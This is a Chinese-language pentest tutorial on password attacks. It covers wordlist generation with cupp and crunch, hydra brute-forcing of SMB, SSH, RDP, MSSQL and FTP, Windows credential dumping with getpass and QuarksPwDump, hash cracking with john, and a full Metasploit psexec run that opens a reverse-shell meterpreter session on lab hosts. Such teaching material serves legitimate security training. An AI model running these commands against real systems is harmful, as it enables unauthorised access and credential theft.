文章目录
一:口令安全概述
现在很多地方都以用户名(账号)和口令(密码)做为鉴权的方式,口令就意味着访问权限。口令就相当于进入家门的钥匙,当他人有一把可以进入你家的钥匙,想想你的安全,你的财务,隐私。。。例如:网站后台,数据库,服务器,个人电脑,QQ,邮箱等。
二:口令安全现状
弱口令
类似于123456,654321,admin123等这样常见的弱密码
默认口令
很多应用或者系统都存在默认口令。比如phpstudy的mysql数据库默认账号密码:【root/root】,Tomcat:【tomcat/tomcat】等。
明文传输
比如http|ftp|telnet等服务,在网络中传输的数据流都是明文的,包括口令认证消息等。这样的服务,有被嗅探的风险。
三:破解方式
3.1:在线破解方式
在线破解方式:账密需要认证
用户名未知,密码未知
用户名已知,密码未知
用户名未知,密码已知
工具:hydra
3.2:离线破解方式
离线破解方式:密文还原成明文的过程
3.3:暴力破解
利用所有可能的字符组成密码,去尝试破解。最原始粗暴的破解方法
3.4:字典破解
如果能通过比较合理的条件,筛选或者过滤掉一些全字符组合的内容,就会大幅降低爆破的成本。我们把筛选出的密码组合成特定的字典,在用字典爆破密码也是可以的,但是这样做有可能会漏掉真正的密码。
3.4.1:密码字典的分类——弱口令字典
简单的字符组成
3.4.2:密码字典的分类——社工字典
人们在设置密码的时候,往往为了便于记忆,密码的内容和组合会与个人信息有关,比如常见的密码组合“名字+生日”。
社工字典更具有针对性,准确率也比较高。
我们可以根据个人信息生成密码字典,可以使用cupp工具。国外人开发的,密码组合的习惯可能与国内人有区别
apt-get update
apt-get install cupp
cupp -i
3.4.3:密码字典的分类——字符集字典
如果能确定密码的字符集合,也将大大降低爆破的成本。
kali的字典生成器crunch
crunch是一种创建密码字典的工具,按照指定的规则生成密码字典,可以灵活的定制自己的字典文件。使用crunch工具生成
的密码可以输出到屏幕,保存文件或另一个程序。尤其在渗透测试需要爆破的时候,字典的编排等直接影响到我们的爆破速度,
对整个渗透测试流程起着十分重要的作用。
安装:
基础环境
kali2021
下载地址
https://sourceforge.net/projects/crunch-wordlist/
kali
crunch为kali自带的工具。以下命令均在kali下直接运行。
查看帮助
man crunch
命令格式:
crunch <min-len> <max-len> [<charset string>] [options]
参数说明:
min-len 设定最小字符串长度(必选)
max-len 设定最大字符串长度(必选)
charset string 字符集
options:
-b 指定文件输出的大小,避免字典文件过大
-c 指定文件输出的行数,即包含密码的个数
-d 限制相同元素出现的次数
-e 定义停止字符,即到该字符串就停止生成
-f 调用库文件(/usr/share/crunch/charset.lst)
-i 改变输出格式,即aaa,aab -> aaa,bba
-l 通常与-t联合使用,表明该字符为实义字符,是什么字符就输出什么字符,不经过转义
-m 通常与-p搭配
-o 将密码保存到指定文件
-p 指定元素以组合的方式进行
-q 读取密码文件,即读取pass.txt
-r 定义从某一个字符串重新开始
-s 指定一个开始的字符,即从自己定义的密码xxxx开始
-t 指定密码输出的格式
-u 禁止打印百分比(必须为最后一个选项)
-z 压缩生成的字典文件,支持gzip,bzip2,lzma,7z
特殊字符
% 代表数字
^ 代表特殊符号
@ 代表小写字母
, 代表大写字母
查看库文件
cat /usr/share/crunch/charset.lst
密码字典
生成密码字典
生成1-8位密码字典,字符集合为小写字母,从a开始到zzzzzzzz结束
crunch 1 8
生成1-6位密码字典,字符集合为abcdefg,从a开始到gggggg结束
crunch 1 6 abcdefg
生成3位密码字典,字符集合位[ab ],从a开始到[ b]结束。
生成指定字符串,比如生日的日期
crunch 8 8 -t 199307%% -e 19930730 这里的%是代表数字
生成元素的组合,比如123.com
crunch 7 7 -t %%%.com -s 111.com -e 123.com -t 指定密码的输出格式,这里的%是代表数字,-s 从111.com开始,-e 到123.com结束
在字典中输出特殊字符
crunch 3 3 abc -t @@@ -l @aa
以元素组合生成字典
zhangsan|1993|0701
crunch 4 4 -p ajest 1992 0701
保存字典文件
crunch 11 11 -t 1700010%%%% -b 20mb -o START
自定义字符集合
将自带字典文件进行备份
创建自定义字符集合
使用自定义字符集合生成[*.com]字典文件
crunch 5 5 -f charset.lst test -t @.com -f调用charset.ls这个库文件,里面的名称为test的字符集
四:平常可以收集的字典
子域名字典
默认账号密码字典
文件路径字典
常用变量名字典
常用文件名字典
弱口令字典
五:口令破解
5.1 windows口令远程爆破
hydra -l administrator -P ../dic/pwd.dic 172.16.132.163 smb
参数:
-l 指定一个用户名
-L 指定一个用户字典
-p(小写) 指定一个密码
-P(大写) 指定密码字典
-vV 显示爆破细节
-o 保存爆破结果
-f 找到正确的密码就停止爆破
-e
n null
s same
r 反向
-t 线程数
5.2 windows账号hash值破解
除了可以从远程爆破windows密码,我们还可以在本地破解windows密码。本地windows账户破解主要有两种方式。
1:从内存中读取windows密码:我们可以是用getpass直接从windows系统内存中读取用户密码
使用方法:
以管理身份运行cmd,把getpass.exe拖进cmd这个黑乎乎的窗口中,直接回车即可查看内存中的账号密码
2:windows hash值破解:windows hash值破解一共需要两步操作。首先我们使用QuarksPwDump工具读取(导出)windows
账号密码hash值,然后再使用john工具破解
使用方法:
以管理员身份运行cmd:
C:\Users\Administrator>C:\Users\Administrator\Desktop\QuarksPwDump.exe -dhl -t JOHN -o C:\Users\Administrator\Desktop\win2008.hash.txt
其中:-dhl --> dump-hash-local -t --> output-type 会把密码的hash值保存在win2008.hash.txt文件中
win2008.hash.txt内容如下:
k8h3d:1001:AAD3B435B51404EEAAD3B435B51404EE:956C4D54024AA66D13C4856AF004EB52:::
Guest:501:AAD3B435B51404EEAAD3B435B51404EE:31D6CFE0D16AE931B73C59D7E0C089C0:::
Administrator:500:AAD3B435B51404EEAAD3B435B51404EE:AFFFEBA176210FAD4628F0524BFE1942:::
查看QuarksPwDump属性:可以把QuarksPwDump.exe拖进cmd这个黑乎乎的窗口中,直接回车,然后背景色会变成蓝色,并且可以看到QuarksPwDump的具体属性。
然后把win2008.hash.txt这个文件放入到kali中,路径为:/usr/share/john/win2008.hash.txt
运行命令 john win2008.hash.txt --show --format=NT 就能得到结果。
结果如下:
┌──(root💀kali)-[/usr/share/john]
└─# john win2008.hash.txt --show --format=NT
Guest::501:AAD3B435B51404EEAAD3B435B51404EE:31D6CFE0D16AE931B73C59D7E0C089C0:::
Administrator:123.com:500:AAD3B435B51404EEAAD3B435B51404EE:AFFFEBA176210FAD4628F0524BFE1942:::
5.3 linux口令破解
也分为远程破解与本地破解。
远程破解主要是爆破ssh服务,属于在线密码攻击。
本地破解需要拿到linux的shadow文件,进行hash值破解,属于离线密码攻击。
破解ssh服务
我们使用hydra攻击破解ssh服务,hydra攻击已经自动集成在kali虚拟机中。命令如下:
hydra -l root -P /tmp/dic/winpassword.dic ssh://10.157.12.151 -vV -o 127.ssh
本地shadow文件破解
我们可以使用john工具,破解shadow密码文件。
john也是自动集成在kali中。john破解的时候也需要准备一个字典。
命令:john shadow
使用方法:我们可以把kali的shadow复制到john目录下:然后john shadow
5.4 网络服务口令破解
在渗透测试中,我们同样会对各种服务的口令进行审计。
破解MSSQL口令
hydra -l sa -P /root/ic/test_pwd.dic 10.10.20.87 mssql -vV
破解RDP口令
hydra -l administrator -P /root/dic/test_pwd.dic 10.10.20.75 rdp -vV
破解FTP口令
hydra -L /root/dic/test_user.dic -P /root/dic/test_pwd.dic 10.10.20.87 ftp -vV
六:MSF-SMB源码
已知SMB账密,远程连接windows系统并执行命令。
┌──(root💀kali)-[~]
└─# msfconsole
.:okOOOkdc' 'cdkOOOko:.
.xOOOOOOOOOOOOc cOOOOOOOOOOOOx.
:OOOOOOOOOOOOOOOk, ,kOOOOOOOOOOOOOOO:
'OOOOOOOOOkkkkOOOOO: :OOOOOOOOOOOOOOOOOO'
oOOOOOOOO.MMMM.oOOOOoOOOOl.MMMM,OOOOOOOOo
dOOOOOOOO.MMMMMM.cOOOOOc.MMMMMM,OOOOOOOOx
lOOOOOOOO.MMMMMMMMM;d;MMMMMMMMM,OOOOOOOOl
.OOOOOOOO.MMM.;MMMMMMMMMMM;MMMM,OOOOOOOO.
cOOOOOOO.MMM.OOc.MMMMM'oOO.MMM,OOOOOOOc
oOOOOOO.MMM.OOOO.MMM:OOOO.MMM,OOOOOOo
lOOOOO.MMM.OOOO.MMM:OOOO.MMM,OOOOOl
;OOOO'MMM.OOOO.MMM:OOOO.MMM;OOOO;
.dOOo'WM.OOOOocccxOOOO.MX'xOOd.
,kOl'M.OOOOOOOOOOOOO.M'dOk,
:kk;.OOOOOOOOOOOOO.;Ok:
;kOOOOOOOOOOOOOOOk:
,xOOOOOOOOOOOx,
.lOOOOOOOl.
,dOd,
.
=[ metasploit v6.0.30-dev ]
+ -- --=[ 2099 exploits - 1129 auxiliary - 357 post ]
+ -- --=[ 592 payloads - 45 encoders - 10 nops ]
+ -- --=[ 7 evasion ]
Metasploit tip: Use help <command> to learn more
about any command
msf6 > use exploit/windows/smb/
use exploit/windows/smb/generic_smb_dll_injection
use exploit/windows/smb/group_policy_startup
use exploit/windows/smb/ipass_pipe_exec
use exploit/windows/smb/ms03_049_netapi
use exploit/windows/smb/ms04_007_killbill
use exploit/windows/smb/ms04_011_lsass
use exploit/windows/smb/ms04_031_netdde
use exploit/windows/smb/ms05_039_pnp
use exploit/windows/smb/ms06_025_rasmans_reg
use exploit/windows/smb/ms06_025_rras
use exploit/windows/smb/ms06_040_netapi
use exploit/windows/smb/ms06_066_nwapi
use exploit/windows/smb/ms06_066_nwwks
use exploit/windows/smb/ms06_070_wkssvc
use exploit/windows/smb/ms07_029_msdns_zonename
use exploit/windows/smb/ms08_067_netapi
use exploit/windows/smb/ms09_050_smb2_negotiate_func_index
use exploit/windows/smb/ms10_046_shortcut_icon_dllloader
use exploit/windows/smb/ms10_061_spoolss
use exploit/windows/smb/ms15_020_shortcut_icon_dllloader
use exploit/windows/smb/ms17_010_eternalblue
use exploit/windows/smb/ms17_010_eternalblue_win8
use exploit/windows/smb/ms17_010_psexec
use exploit/windows/smb/netidentity_xtierrpcpipe
use exploit/windows/smb/psexec
use exploit/windows/smb/smb_delivery
use exploit/windows/smb/smb_doublepulsar_rce
use exploit/windows/smb/smb_relay
use exploit/windows/smb/timbuktu_plughntcommand_bof
use exploit/windows/smb/webexec
msf6 > use exploit/windows/smb/psexec
[*] No payload configured, defaulting to windows/meterpreter/reverse_tcp
msf6 exploit(windows/smb/psexec) > show options
Module options (exploit/windows/smb/psexec):
Name Current Setting Required Description
---- --------------- -------- -----------
RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 445 yes The SMB service port (TCP)
SERVICE_DESCRIPTION no Service description to to be used on target for pretty listing
SERVICE_DISPLAY_NAME no The service display name
SERVICE_NAME no The service name
SHARE no The share to connect to, can be an admin share (ADMIN$,C$,...) or a normal read/write folder share
SMBDomain . no The Windows domain to use for authentication
SMBPass no The password for the specified username
SMBUser no The username to authenticate as
Payload options (windows/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
EXITFUNC thread yes Exit technique (Accepted: '', seh, thread, process, none)
LHOST 192.168.152.130 yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
0 Automatic
msf6 exploit(windows/smb/psexec) > set rhosts 192.168.152.132
rhosts => 192.168.152.132
msf6 exploit(windows/smb/psexec) > set lhost 192.168.152.130
lhost => 192.168.152.130
msf6 exploit(windows/smb/psexec) > set smbuser administrator
smbuser => administrator
msf6 exploit(windows/smb/psexec) > set smbpass 123.com
smbpass => 123.com
msf6 exploit(windows/smb/psexec) > exploit
[*] Started reverse TCP handler on 192.168.152.130:4444
[*] 192.168.152.132:445 - Connecting to the server...
[*] 192.168.152.132:445 - Authenticating to 192.168.152.132:445 as user 'administrator'...
[*] 192.168.152.132:445 - Selecting PowerShell target
[*] 192.168.152.132:445 - Executing the payload...
[+] 192.168.152.132:445 - Service start timed out, OK if running a command or non-service executable...
[*] Sending stage (175174 bytes) to 192.168.152.132
[*] Meterpreter session 1 opened (192.168.152.130:4444 -> 192.168.152.132:52765) at 2022-02-21 08:57:49 -0500
meterpreter >